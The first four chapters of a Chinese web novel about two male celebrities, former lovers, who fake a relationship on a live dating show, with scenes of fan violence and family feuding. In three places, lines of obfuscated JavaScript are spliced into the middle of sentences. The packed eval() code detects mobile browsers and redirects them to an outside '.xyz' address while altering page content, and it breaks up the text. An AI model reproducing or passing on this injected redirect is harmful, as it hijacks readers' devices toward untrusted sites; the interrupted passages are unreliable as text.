《惊，你家cp在恋综诈尸了！》 1. 第 1 章 微博的程序员们绝不会忘记这沉重的一天。 这天一早，【秦祁恋情】这一词条以迅雷不及掩耳之势冲上了热搜第一。 【@巨星八卦情报局：爆！某二字顶流小号曝光，疑似恋情泄露！】 【@娱乐风云眼：宿敌终成情侣，这对cp竟是真的！】 【谁啊？前段时间刚拿奖那个？】 【ls真敢说，粉丝打过来我先跑。】 【哟哟哟，刚拿奖就奖励自己一个男朋友，某流量确实敬业哈。】 【嘻嘻怎么知道不是有了男朋友才拿的奖呢，毕竟那种小奖对沈影帝来说就是一个电话的事啦。】 【又出事？沈絮新片不打算上了？】 一时间激增的讨论量终于给了摇摇欲坠的网站一个重击，它不负众望地崩掉了。 当程序员们揪着头发加班加点地抢修完后，刚想松一口气，结果瞥到更换过后的热搜第一词条，差点当场去世。 【经典恋综《恋爱实时攻略》官宣，秦祁沈絮华丽公开！】 在微博再次崩掉前，人们只来得及看到这一句话—— 【我们跟对家的超规模大战都打了五年了，你俩居然在背后偷偷打啵？！】 一时间，舆论可谓腥风血雨。 可两位处于飓风中心的主角，却除了转发节目官宣以外，再没有公开发表过一句话。 直到—— 《恋爱实时攻略》先导片开播。 ———— 作为一档经典恋综，《恋爱实时攻略》主打的就是一个真实。除了睡觉时间以外，全天候无死角地对嘉宾情侣们进行直播。 这种苛刻的条件，瞬间吓退了不少演技不过关的作秀情侣和颜值不能打的高p选手。 这次虽说是先导片，但依然采用了直播的形式，将嘉宾们拍宣传照的过程毫无保留地展现出来。 因为某些众所周知的原因，粉丝们早早地蹲在了直播间里焦急等待。 【快开播啊快开播啊。】 【妈妈你看到了吗，我cp要复婚了！】 【不好意思你cp厕品中的厕品哈。】 在一片喧闹中，摄像头终于被打开。 翘首以待的观众们在画面中第一时间看到的，是一个坐靠在小沙发上的青年。 青年穿着一身剪裁得体的黑色西装，宛如从时尚海报中走出的模特。窄腰处自然收束的衣服恰到好处地勾勒出了他那紧实有力的肌肉，修长的双腿被西装裤包裹着，更多几分隐秘的性感。 似乎是收到了摄像头开启的通知，他下意识抬起头朝摄像头看了眼，轻轻笑了下，眼下的泪痣更为他本就俊朗的容貌增色几分。 正是近日风波的主角之一，这几年当之无愧的超一线顶流，秦祁。 【！！！】 【woc好帅一男的……】 【怎么就想不通要谈恋爱呢。】 【让我们猜猜这次沈絮多久会玩腻？】 这时试衣间的帘子一拉，一个身形颀长的男人走了出来。 他穿着和秦祁配套的白西服，劲瘦的腰身和纤长的双腿被体现得淋漓尽致。及腰的长发未经造型，只是如瀑般垂在身后，衬得那张本就精致的脸越发漂亮。 最吸人的还是他那双桃花眼，只是含笑一瞥，目光流转间却好似能勾人魂魄。 也难怪媒体总爱说这位目前最年轻的大满贯影帝多情，长了这么一双含情眸，真的很难让人相信沈絮能忠贞不渝。 秦祁听见动静，回头道：“好慢啊，沈老师。” 怎么听都有几分戏谑。 沈絮看他一眼，叹了口气，道：“蠢货。” “？” 秦祁歪了歪头，一脸“我又怎么你了”的表情。 沈絮也不理他，自顾自地在旁边架子上翻找几下，将什么东西拿在手里，边把玩边朝秦祁那走。 “胸针都能戴错，你还有什么用？” 说话间，沈絮已经在秦祁身前停下，摊开的手掌间躺着一枚精巧的蓝宝石胸针。 跟秦祁身上戴的那枚是同款，只是颜色不同。 胸针做成了桔梗花的式样，取的是“永恒的爱”这一美好祝愿。 秦祁觉得有些不对劲：“我这看起来也没有很违和吧，你怎么知道搭错了？” 沈絮白了他一眼：“因为这个配饰是我敲定的。” 说完，沈絮还不忘阴阳怪气一句：“我平日与你说的话，全当耳旁风。” 秦祁将信将疑，却还是顺从地俯下身子，拉近了彼此间的距离，方便沈絮去取下他胸前的紫桔梗胸针。 或许是距离一下越过了安全线，秦祁此刻显得有些无措，甚至连眼神也不知该何处安放。 秦祁没有看沈絮，因此不知道—— 沈絮此刻就像个即将恶作剧成功的顽童，眼里满是兴奋。 他知道这个距离对于秦祁来说太近了。 他能感受到秦祁因为他的呼吸而变得僵硬的脖颈——或许一起死机的还有秦祁的大脑。 沈絮取下了那枚胸针，手指在摆弄中状似无意地划过秦祁的躯体，清晰地感受到了指尖传来的那似有似无的颤栗。 他感受到了那个曾经无数次注视自己的目光。 他知道秦祁在盯着自己，但他并不给予明面上的回应。 垂下的睫毛遮住了那双让人顾盼流连的含情眸，沈絮知道谁会先认输。 果然，几息之后，秦祁匆忙移开了视线。 沈絮抬头瞥见秦祁慌乱的样子，嘴角闪过一抹得逞的笑意。 胸针已经换好，他的手却没有拿下来。 那生的白皙细长的手指作恶多端，正刻意地在对方身上随意而缓慢地打转。 沈絮感受到落在自己脸侧的呼吸霎时错乱，不复先前平稳。 终于，秦祁忍无可忍，一把攥住了沈絮的手。 沈絮终于肯看秦祁的眼。 他一边后退，一边抽身。 秦祁下意识想抓住他的手，但没能成功。 “秦老师，摸哪呢？”他说，“你的心死了，你的手可没有，它还会乱摸，可怕得很。” 沈絮生来就会倒打一耙。 【嘶……嗯……你们……我们……啧】 【我是钢琴家，这就是在调琴。】 【这也卖的太过火了吧……有点反胃了。】 看到秦祁眼中那一闪而过的恼怒与无措时，沈絮笑得更开心了。 只要秦祁不舒服，那他就舒服了。 ———— 宣传照的拍摄进行得很顺利，如果抛开沈絮在过程中光明正大地对秦祁进行了包括但不限于摸脸四次、搂腰两次、扯领带一次的行为不谈的话。 当然，摄影和导演包括一系列工作人员对此都表示十分满意。 甚至连弹幕都觉得，他俩就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14796836|158327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该是那种一出场就直逼审核底线的风格。 【一直觉得他们不是正规渠道认识的这是可以说的吗？】 所有人都很满意，除了秦祁。 当回到化妆间，确认所有设备都都断开后，秦祁不出所料地看见沈絮瞬间对他失去了兴趣。 那个人就这么一脸淡然地松开了挽着他的手，走到镜子前开始卸那一身鸡零狗碎的配饰。 就好像他不存在一样。 秦祁走到化妆台旁边，拿起一支化妆刷：“沈老师，你觉得这个刷子好用吗？” “不清楚。” “那真是奇怪了，我还以为沈老师很会化妆呢，”秦祁说，“毕竟，你这么会粉饰太平。” “你到底是怎么能装作什么都没发生一样的呢……我的前男友先生。” 秦祁就这么盯着沈絮，企图从那张完美的脸上找到一丝裂痕。 沈絮无所谓地笑了；“可能因为闯祸的不是我吧。” 毕竟他们两个今天为什么会在这里，大家都心知肚明。 因为秦祁没藏好自己的小号，导致他们五年前的恋爱日常曝光。 而作为被无端牵连的受害者，沈絮本不必要来参加这个节目。 毕竟他风流是人尽皆知的事，绯闻多这一桩不多，少这一个不少。 但好死不死的，沈絮投资并出演的新片在这个节骨眼上接连出事。 先是饰演男二号的演员踩了红线被封杀，大量镜头需要换人重拍，接着就是资金不足，其他资方却犹豫不决，甚至有撤资的念头。 沈絮为着这部片已经砸进去不少钱，到还是独木难支。 从某种程度上来说，他现在很缺钱。 就在这么个节骨眼上，沈絮被爆了恋情。 这个事对他来说其实也是见怪不怪了，按理来说只要冷处理就足够。 但……这次的绯闻又跟以前不同。 另一方不再是蹭热度的十八线，而是正如日中天的秦祁。 这是一波天赐的流量。 一波能马上生钱的流量。 而就在这个时候，秦祁的经纪人带着《恋爱实施攻略》的策划案，找上了门。 虽说是各取所需，但在明面上看，秦祁还是占了大便宜。 而在跟秦祁有关的事情上，沈絮向来得理不饶人。 “得了便宜还是要买点乖的，你觉得呢，秦祁？” 秦祁沉默地注视了沈絮许久，开口道：“你还真是一点都没变。” “我原本以为你倒是变了很多，”沈絮大发慈悲一般上前帮他理了理衣领，“不过现在看来，你毫无长进。” 话已至此，两人谈无可谈。 五年前如胶似漆的一对，五年后再见时就是这般的收场。 留着最后一丝体面，两人就这么沉默地一起走向停车场。 眼看分离在即，哪怕是沈絮都难免松了口气。 这一天下来觉得难熬的，又岂止秦祁一个？ 沈絮本着最后的体面，打算礼节性地道个别。 哪知道刚转过身去，就见秦祁瞳孔骤缩，猛地伸手拉他。 下一秒，一块砖头凌空飞来，直奔沈絮脑门而去！ “去死！沈絮你个烂货，去死！” 下一秒，沈絮眼前一黑。 随着飞扬的尘土一同到来的，还有一声闷响和被压抑的痛呼，以及一丝渐渐弥漫开的血腥味。 2. 第 2 章 “沈絮你**不得好死！死**离秦祁远点！” “你这个祸害还活着干什么，别浪费资源了快去死！” “你就应该死在娘胎里！” 声音戛然而止。 秦祁手忙脚乱地把视频关上了，小心翼翼地看向正在帮自己上药的沈絮。 一个小时前，在地下车库里突然不知道打哪蹿出个女孩，一见面就把砖头往沈絮脑袋上招呼。 要不是秦祁反应快帮了沈絮挡了一下，现在他都得在手术室躺着。 眼看没能得手，女孩马上开始破口大骂。 未免事态扩大，两人并未过多纠缠，上车后便直接报警，然后把人甩开直奔医院。 刚刚才接到调查结果，那人是秦祁的毒唯，得知秦祁和沈絮在一起的消息后，坚定地认为是沈絮要潜规则秦祁，秦祁是被逼无奈才妥协。 为了给自家偶像出头，那位毒唯干脆一不做二不休，直接解决掉沈絮这个“源头”。 而拜两位的热度所赐，只是这么一会，现场的视频就已经传得沸沸扬扬，眼看就要冲上热搜第一。 下面评论骂得好、大快人心的人不在少数。 而秦祁现在满脑子只有懊恼。 当时毒唯开始骂人的时候，秦祁疼得都有些耳鸣了，只是凭着本能在跟着沈絮走，完全不知道现场是个什么情况。刚刚看到视频也是下意识点了进去。 天杀的，早知道就不当着沈絮的面点开了。 眼看病房里就要陷入死寂，秦祁第一次知道原来尴尬也能杀人。 “……没关系，警察已经抓到她了，”秦祁微微转身，和沈絮对视，“我不会和解的，想怎么处理都看你。” 沈絮的动作顿了顿，看着秦祁攥紧的拳头和满是汗珠的额头，沉默了一秒，猛地把沾满药水的棉签往下一摁。 秦祁霎时倒吸一口冷气。 “还是先忙着操心你自己吧。” 沈絮的话生硬而冰冷，上药的动作却是轻柔了下来。 毕竟没有谁能一直给一个刚刚救了你命的人冷脸。 病房里再次安静了下去，气氛却不似几个小时前那么僵硬。 “那个人，你想怎么处理？” 沈絮淡淡开口：“拒绝和解，追究法律责任——不然还能怎样？” 其实他们都知道，治标不治本罢了。 秦祁想了想，又低下头去，有些别扭地打起字来。 沈絮也懒得管他，要不是秦祁的助理去办手续了，秦祁又实在需要个人照看下，他早就走了。 不一会，药上完了，沈絮转身将药瓶放在床头柜上，一回头却被秦祁的手机怼了一脸。 “……？” 在秦祁的示意下，沈絮低头看向屏幕。 哪里有一条已经编辑好的微博。 【@秦祁：就如同视频里一样，你们怎么伤害他，就是怎么伤害我。谢谢各位的关怀，但我不需要畸形的“爱”。】 沈絮眼神闪了闪，斜靠在床头柜上：“其实不太有必要。” 这种东西发出来，对于节目结束后就不会再有交集的两人而言不是什么好事。 毕竟，剪不断，理还乱。 秦祁有些不可置信：“你在想什么？” “你又在想什么？我们只是做戏，不要太当真了，秦祁。” “你是不是太自作多情了？我当然知道是在做戏，你放心吧，今天换谁来我都会这么做的！”秦祁气笑了，“非要说的话，我只是想对得起我自己的良心罢了。” 沈絮摊了摊手：“你开心就好。” 反正吃亏的又不是他。 秦祁一时气结，只觉得自己一腔心意喂了狗，却还是点击了发送，然后开始刷新评论区。 【你开心就好（微笑）。】 【？你这是什么语气啊，大家难道不是担心你吗？】 【说得也没什么问题啊，有些人是真觉得动手是什么很光荣的事情吗？】 【这种人接到法院传票就老实了。】 沈絮看不到评论里在说什么，不过猜也猜的差不多。 看着秦祁的脸色又黑了两分，沈絮心上难免浮现几分好笑。 ……但又不由得觉得他有点可怜。 病房里又陷入了那种暗流涌动的平静中，两个人都不肯再看对方，却又能清晰地察觉到对方的一举一动。 明明在安全距离之外，却觉得近到无处可藏。 在病房里，呼吸都变得粘稠。 “哥！手续都办好了！” 突然，病房门被一把推开，撞到墙上发出“砰”的一声，秦祁的助理小路抱着一堆药钻进了病房。 病房里那不可言说的氛围被猛地打破，沈絮见秦祁去办手续的助理回来后也没有要再留的意思，只是点点头道：“那我就不打扰了。” 说完便要起身离开。 走到门口时，沈絮却又不知为何转过身来，斟酌着开口：“……好好休息。” 说罢便推门离去。 小路的目光在秦祁和已经关上的门上转了几圈，颇有些狐疑。 ———— 半夜了。 沈絮看了看表，不由得叹了口气。 这个点，要是回他平常住的那套公寓的话，那他今晚是真不用睡了。 略微思索后，沈絮驱车前往老宅。 说是老宅，其实也没有多少年份。只不过是小时候的住所，多少为它添了几分回忆的滤镜。 只不过沈絮确实很久没有回去过了。 毕竟从母亲去世起，那个地方就失去了被称作“家”的资格。 沈絮请了很多人专门来打理那栋别墅，每年都在上面投入的钱数不胜数，试图把它打造成一个巨大的标本。 但他很少去看它。 当记忆里的景物又出现在面前时，沈絮恍惚间又想起那些和母亲相互陪伴的岁月。 然而一片漆黑的房子又将他拉回了现实。 正准备进门，多年来拜狗仔所赐的敏锐让他停住了脚步。 他感受到了一个让他很不舒服的目光。 不仅仅是窥视——还有更多阴暗的情绪。 “谁，”沈絮转过身，冷冷道，“滚出来。” 没有动静。沈絮低头掏出手机摁了几下，然后一点犹豫都没有地看向了墙角。 片刻后，墙角的阴影里走出了一个人影。 沈絮从感受到那道视线时便已有了些许猜测，可看到那个人影真的走到他面前时，他心底还是难以自抑地涌起了如浪般的愤怒与厌恶。 沈絮看着面前的人，有一瞬间就像在看一具尸体。 客观而言，那从阴影中走出的人并不算难看。 恰恰相反，虽不像沈絮那般绝色，但也绝对称得上清秀。 那是个看起来不过二十出头的青年，脸也生的精致小巧，看起来就让人生怜。 但沈絮依然看到这张脸就反胃。 “你来干什么？” “我在等你啊，”青年说，“好冷啊，我们可以进去说吗，哥？” 沈絮没有接话。 青年本来还在半真半假地打着寒颤，可慢慢地，他的身体在沈絮的凝视下僵硬了起来。 这当然不是他想要的，但当他反应过来的时候，他已经率先移开了目光，甚至不由自主地放缓了呼吸。 “你妈妈在当年也在这里说过这句话，”沈絮的声音听起来居然有几分温柔，“你想知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14796837|158327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道她当时的下场是什么吗？” 青年的喉结上下动了动：“哥还是对我心有芥蒂。” “既然知道，就不要来讨嫌。” 青年上前两步，脸上流露出几分焦急：“我是真的想跟哥和好的，哥想让我做什么都可以，我会听话的。” “我想让你滚远点，”沈絮上下扫视了他一圈，“你的味道太恶心了。” 说完，似是不愿过多纠缠，沈絮随意地摆了摆手掌，示意对方可以滚了。 但没想到青年一把扑上来，抓住了他的袖子。 “哥……！” 手段拙劣得令人发笑。 沈絮也没有拨开他，只是问：“你的狗仔拍完了吗？这种程度就够了吗？” “需不需要我再帮忙加把火呀？” 说着，沈絮主动微微低头，拉近了两人之间的距离。 沈絮的手指轻轻撩起青年的几缕发丝，帮他妥帖地别到耳后，然后一路轻轻划过青年的侧脸，最后落在了青年的颈侧。 ——就像一个温柔而体贴的恋人。 如果不是他突然收紧了手掌并且死死掐住对方的脖子的话。 看着青年突然变得惊恐的表情，沈絮的眼神没有一丝波动。 他清楚在这个位置狗仔能拍到什么。 最多不过一些似是而非的暧昧动作，什么掐人脖子，他当然是没做过。 直到青年眼前发黑，开始进气多出气少，沈絮这才慢悠悠地松开了手。 沈絮倒退着上了两级台阶，居高临下地欣赏着青年趴在地上挣扎着一边咳嗽一边呼吸。 “你妈妈十几年前就想着要光明正大地走进这里，但她至今也没有成功。”沈絮看着青年缓过来了，轻轻道，“当然，你也不会成功。” “……历史总是会重演的，你也会有无能为力的一天。” 就像那位当年住在这里的那位贵妇人一样，不管如何风光，终究是人死如灯灭。 沈絮笑：“劳你关心，我祸害遗千年。” “恩怨不会结束在上一辈的，我们之间的账，早晚要一点点算。” 这么折腾一番，沈絮一开始叫的安保终于到了。 “沈先生。” “有劳，把这位请出去吧。” 青年如脚下生根一般，任怎么拖拽也不动，直勾勾地盯着沈絮，直到他进了别墅的门才又有了反应。 “放开我。我自己能走。” 离开前，青年最后看了那栋房子一眼。 他想，别急，哥哥，这些迟早都是我的。 你的老宅，你的家庭，你的事业、爱人、你的一切……都会是我的。 青年打开手机，翻看着他安排的狗仔给他发来的图片。 选了几张比较模糊的远景后，他把剩下的一张张地点开，再放大查看，力求挑出最完美的那张。 许久，青年终于找到了让自己满意的选择。 第一张照片，是他抓着沈絮的袖子，半俯着身子，看起来像几近卑微的挽留姿态。而沈絮丝毫不为所动，连腰都不曾弯，只是微微低头。 而第二张照片里，他的手松开了，似乎是要放弃的样子，可刚刚还高高在上的沈絮，此时却主动靠近了他，甚至伸手为他别过耳边的碎发。 第三张照片就更精彩了，他们靠得那样近，几乎要吻在一起。沈絮的手放在他的后颈，似有安抚之意，而他的双手轻轻抓在沈絮的小臂上，看起来十分依恋。 青年越看越开怀，他轻抚着脖子上的掐痕，觉得刚刚那几分钟的受苦根本算不得什么。 他的手指轻快地在屏幕上敲击几下，接着毫不犹豫地点击了发送。 “先来点开胃菜吧，大家一定会喜欢的。” 3. 第 3 章 《恋爱实施攻略》正式开播前三小时，热搜再次炸锅。 【@娱乐风云眼：旧爱未走，新欢又来，沈影帝魅力不减当年[图片][图片]】 因为沈絮在秦祁为了救他而负伤后的短短几个小时内，再次被爆出与人私下幽会，舆论顿时沸腾。 【该说狗改不了吃屎吗？】 【那秦祁为你挡的那一砖头算什么？算他身体好吗？】 【我说有些人能不能别听风就是雨，一个不知道什么时候拍的、连脸都看不清一个的照片，你们还真代入上了是吧？】 【未知全貌疯狂置评呗。】 【你们cp粉有这种自欺欺人能力更是做什么都会成功的哈。】 【信这对cp是真的还是信我是秦始皇？】 “看起来，沈老师的职业素养也高不到哪去啊，”秦祁刷着手机，冷笑一声，“作为演员，现在是连入戏都懒得入。” 沈絮眼皮子都不抬：“秦老师谬赞。” 秦祁心说我去你的。 “既然选择了来这个节目，起码这段时间也该尽职尽责吧？” 沈絮终于愿意施舍给秦祁一个眼神。 “我当然会的，不过秦先生还是先把自己调整好吧。”沈絮不咸不淡地啜饮了口手里的冰美式，“如果你下车时还是这副表情，我打赌三分钟内我们就会被坐实感情破碎。” “沈老师一直这么严于律人，宽以待己吗？” “那倒没有，”沈絮吝啬地收回了视线，“只是凭借我对秦先生浅薄的了解，你入戏向来很慢。” “——哪怕我当年手把手带你，也没有好到哪去。” 秦祁简直要笑出声。 他不懂，为什么这个人可以这么毫无顾忌地提起过去。 每一个跟过去相关的回忆对秦祁而言都是一把凌迟的刀，而那个本应和他一起受刑的人，此刻却成为了置身事外的刽子手。 或许是不甘心作祟，秦祁想要撕碎沈絮这份永远波澜不惊的从容。 凭什么只有他一个人还在对过去挂怀。 当初既然同入爱河，现在自然也该共同沉溺。 “好吧，我会努力的。” 秦祁倾身过去，他的呼吸打在了沈絮脸上，他伸出手替沈絮别好碎发。 “该下车了，阿絮。” 可惜车外众人打招呼的声音太过喧闹，他没有注意到，在听到那句称呼的一刹那，沈絮忽然停滞的呼吸。 ———— 跟着节目组一路进到位于半山腰的一栋小别墅里，秦祁和沈絮见到了其他嘉宾。 最先看到他们的是一个看起来二十三四的男孩。 “祁哥和絮哥到啦！祁哥的手好点了吗？” 沈絮看了一眼，记起来男孩叫冉星洲，是这一阵挺有起色的一个小爱豆。他之前隐约听说过几句，但跟人交集不多，反倒是对冉星洲的恋人印象深点。 冉星洲的恋人叫颜莫，之前在沈絮出演的电影里演过几回配角，演起戏来挺有灵气。沈絮下半年有个民国的片约，听说颜莫也去试了几个配角的戏，如果有缘，他们倒是还能再合作一回。 不过这也都是后话。此时的颜莫显然也没想这么远的事，只是一边跟前辈们打招呼，一边嫌弃冉星洲叨叨了一上午没个停，却又拧开了一瓶水递过去。 秦祁也笑着回：“手没什么大事，就是被砸了下，没伤筋动骨，过一阵就好了。” “没伤到骨头也要重视的，我看视频里那一下可不轻呢。” 接话的是阮语琦，知名歌后，跟沈絮也算老相识了。出道多年，大家都知道她有个青梅竹马的圈外男友，只是对方曝光甚少，一直以来都颇为神秘，直到这次节目，才算是正式在粉丝面前露面。 廖榕——阮语琦的男友也点头附和：“我们带了瓶药酒来，要是有需要的话一会拿给你们。” “谢谢榕哥。” 众人又寒暄几句，这才跟着节目组的引导在沙发上落座，听节目组交代任务。 第一天的任务还算简单，只有个默契挑战。 为了避免一上来就上强度太伤感情，挑战安排的是你画我猜，看哪组九十秒时间内猜出来的题目多。 【这个强度不够啊导演，看不出来假情侣我可是要告到中央的。】 【循序渐进也可以啊，反正我就等着某对不要脸炒作的露出真面目呢。】 【就凭他们这五年无互动，说不定一照面就露出马脚噜。】 三组凭抽签决定顺序，秦祁手气不错，上去就抽到了最后一个上场。 两人就这么悠哉游哉地靠在一边开始看另外两组的戏。 哪知道看着看着，压力就来了。 阮语琦和廖榕自不用说，俩人相伴多年，默契无需多言。一局下来顺顺利利地猜出了八个。 而冉星洲和颜莫…… 虽然他们俩的脑回路都很清奇，但最后居然能对上—— 冉星洲一脸严肃：“是句古诗。” 颜莫点头。 冉星洲：“朕与将军解战袍” 颜莫思考了0.1秒：“芙蓉帐暖度春宵。” 【？】 【等等。】 “问世间情为何物。” “两岸猿声啼不住。” “垂死病中惊坐起。” “……笑问客从何处来。” 【你们且**慢。】 【这脑回路都能对上，你俩是不是每天两眼一睁就面对面背梗啊？】 【wok对了十个，这也行？】 这俩小孩太出人意料，秦祁懵了两秒后，没忍住笑开了。 但很快，他就笑不出来了。 秦祁肩头一沉，是沈絮靠了上来。 或许是为了笑得委婉些，沈絮偏过头把脑袋埋在了秦祁肩上。 这下别人是看不见了，可秦祁却不用转头都能把沈絮的笑颜收入眼底。 他甚至能感觉到沈絮那打在他身上的一呼一吸。 秦祁的身体微微僵住了，却还得尽量放松，免得被看出端倪。 沈絮这厮绝对是故意的。 秦祁心想你可快别演了，这珠玉在前的，一会儿咱俩上去要是一问一个不吱声，剩下的直播时间就全部用来想公关稿怎么写得了。 快乐的时间总是如此短暂，伸头一刀缩头也是一刀的时候很快就来了。 犹豫了几下后，秦祁还是决定还是由自己来描述。 等沈絮在指定位置站好后，秦祁看到了屏幕上出现的题目。 [退避三舍] 看来他们的主题是成语，这让秦祁稍微松了口气。 起码沈先生的文化素养还是很在线的，他们应该能暂逃一死了。 秦祁快速思考了下，开口：“成语，出自左传，形容对人让步不与相争。” 沈絮脱口而出：“退避三舍。” “史记，项羽，比喻下决心不顾一切地干到底。” “破釜沉舟。” “出自诗经·关雎，翻来覆去睡不着。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14796838|158327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “辗转反侧。” “道德经，前几句是挫其锐，解其……” “和光同尘。” 虽然不记得他和沈絮现在已经猜出来了几个，但看起来他们也算顺利，这让秦祁紧张的心情放松了不少。 秦祁看了眼题目，没忍住皮了一下。 “楚辞，歪曲事实，就你这样的。” 沈絮明显被气笑了，但还是答得很快：“颠倒黑白。” 秦祁见好就收，老老实实地描述起来。俩人就这样又飞快地猜出了好几个。 或许是太顺利了，再加上倒计时马上结束的铃在旁边嘀嘀嘀地刺激人，秦祁看了眼最后一个词，脑子都没过就开了口。 “一个战国哲学家和你的纹身……” 等秦祁反应过来的时候他恨不得把自己的舌头给咬断吞了，但是一切都已经来不及了。 【？？？沈絮还有纹身？】 【哥你是不是憋疯了这是可以在节目上说的吗……】 【wok这是纹在了哪个不可言说的地方啊，你们玩这么大？？？】 【十年cp粉揭棺而起，纹身在哪让我看看！】 完啦。这回是真说错话啦。 秦祁心虚地移开了目光。 从沈絮骤缩的瞳孔可以看出来沈老师受惊也不小。 “……庄周梦蝶。” 连说话听起来都有点像梦游了。 沈絮是有一个纹身。 那是一只展翅的蝴蝶，在他的大腿内侧翩然起舞。 知道这件事的人屈指可数，秦祁算一个。 不如说，秦祁是这个纹身的“起因”。 那是他们在一起的第一年。 那段时间秦祁刚拿下他的第一个杂志资源，沈絮的戏也正拍到紧要关头，两人都忙得不分昼夜，已经好久没能见上一面。 就在一周年纪念日的前几天，沈絮收到了秦祁寄来的杂志。 尚且稚嫩的少年在电话里跟恋人一边得瑟一边撒娇。 “我厉害吗，有没有感觉士别三日当刮目相看……周年纪念日会有惊喜给我吗?” "哥哥？阿絮？" 沈絮听着秦祁的声音，慢慢翻动着手上的杂志，嘴角不自主地上扬。 属于秦祁的几张照片上用了很多蝴蝶元素，这跟那家杂志过往的风格不大相符，但却衬得他像纯净无暇的精灵王子。 旁边的采访上写，秦祁在照片的拍摄设计上提出了很多自己的建议。 午后的阳光暖融融的，让人不禁把声音放得轻柔。 “你好像很喜欢蝴蝶。” 沈絮拿着手机，听到那个令人心动的声音随着电流传来。 “因为它承载了很多美好的记忆……我们的初遇，不也是在蝴蝶标本前？” 或许是阳光太诱人，那一刻，沈絮不受控制地想要为这一刻留下些什么。 于是，在几天后的纪念日，情迷意乱之时—— 秦祁跟那只蝴蝶第一次见面了。 一个温柔的吻赋予了蝴蝶生命，让它从此在繁花似锦的世界里有了两个栖息地—— 沈絮的身上，和秦祁的心里。 在很长一段时间里，这是独属于他们两人的秘密，伴随着他们相爱、相伴、争吵、分开…… 然后在今天，在一个再平常不过的瞬间里，毫无准备又毫无意义地被昭告天下。 沈絮看着无措地移开了视线的秦祁，闭了闭眼。 他想，庄周梦蝶，不外乎是。 4. 第 4 章 这天最高兴的或许是沈絮的公关团队。 因为最后在你画我猜的惊天表现，他们省了一笔公关费。 ——【沈絮幽会】的词条已经被【沈絮纹身】完美取代了。 经纪人龙颜大悦，反手转发了一个论坛帖子给沈絮。 美其名曰让他回忆一下美好青春，给他的工作提供灵感。 沈絮低头一看，感觉身边众人真是致力于在他心梗的路上添砖加瓦。 【看到蝴蝶纹身本情深姐揭棺而起，难道希大真是预言家？】 “情深如许”是当年秦祁和沈絮的cp名，本以为早已成为时代的眼泪，没想到还有重出江湖的一天。 【1L:那个恋综第一期大家都看了吗？我当时追着直播看的，看到秦祁说纹身的时候我直接化身尖叫鸡，那一瞬间《蝴蝶印记》的无数个片段在我脑子里不断闪回……】 【2L:希大真的全场唯一真预言家，有时候我都快怀疑情深是不是大晚上对着她的文研究下次怎么卖。】 【3L:希大是谁啊？《蝴蝶印记》又是什么？】 【4L:？有内鬼，终止交易！】 【5L:3L怎么回事，这都不知道？别是混进来的对家吧？】 【6L:不是不是，我是刚被这期节目锤入坑的，想来论坛找点饭吃，结果发现好几年都没有新帖了，要不是这个帖子我还以为没活人了呢。】 【7L:……虽然你可能只是随口一说，但是我心被扎得好痛。】 【8L:希大全名希蕾亚，是情深的镇圈文手来着。她的《蝴蝶印记》《日出时分》等好几篇文都是我圈镇圈之宝。】 【9L:刚追完直播+1，我现在满脑子都是《蝴蝶印记》里，絮刚纹完身，在酒店房间里只穿着一件T恤坐在飘窗上那段……我直接嘶哈嘶哈嘶哈。】 【10L:希大预言的可多了。之前她不是还写情深过年一起去庙里拜神，结果后面没多久真有人在粤海那边的庙里拍到这俩人了。】 【11L:其实《蝴蝶印记》当时就有人猜预言成功了的。 那段时间絮本来应该在西北拍戏的，结果有爆料说他居然挤了一天飞回首都，没过多久他又在采访里说自己有个纹身师朋友在首都。】 【12L:天，到这种程度，就算是卖的我也认了。】 …… 【52L:原来五年前你们吃这么好，可是我刚刚翻了下论坛没看到这几篇文啊。】 【53L:因为你来晚了，希大当年退坑的时候把文全锁了。】 【54L:其实当年也有人猜希大会不会是情深这俩其中一个身边的工作人员，毕竟文里写的跟现实重合度这么高，没点内幕消息我是不太信的。】 【55L:确实，当时希大退坑的时候大家都在猜是不是听到了什么这俩人真要掰了的消息。】 【56L:又来了又来了，最烦你们这些扒人马甲的，希大当年都说了很讨厌这种行为，现在人家都退坑八百年了还不肯放过人家是吧？】 【57L:情深都复婚了，我还能dream一个希大回坑吗？】 …… 沈絮简单翻了翻，发现帖子里说都的是一些陈年旧事，没扒出什么新的惊天大料，也就随粉丝们去了。 只不过想起楼里提及的那两篇文，又难免想起当年光阴，再一想现在秦祁那张比之前更多了几分凌厉脸，一股烦闷顿时涌上心头。 沈絮干脆眼不见心不烦地息屏，打算趁秦祁还没过来加紧睡个午觉。 然而，正主不看粉丝看，在他不知道的时候，此帖已经慢慢飘上了首页，成了高热加精。 ———— 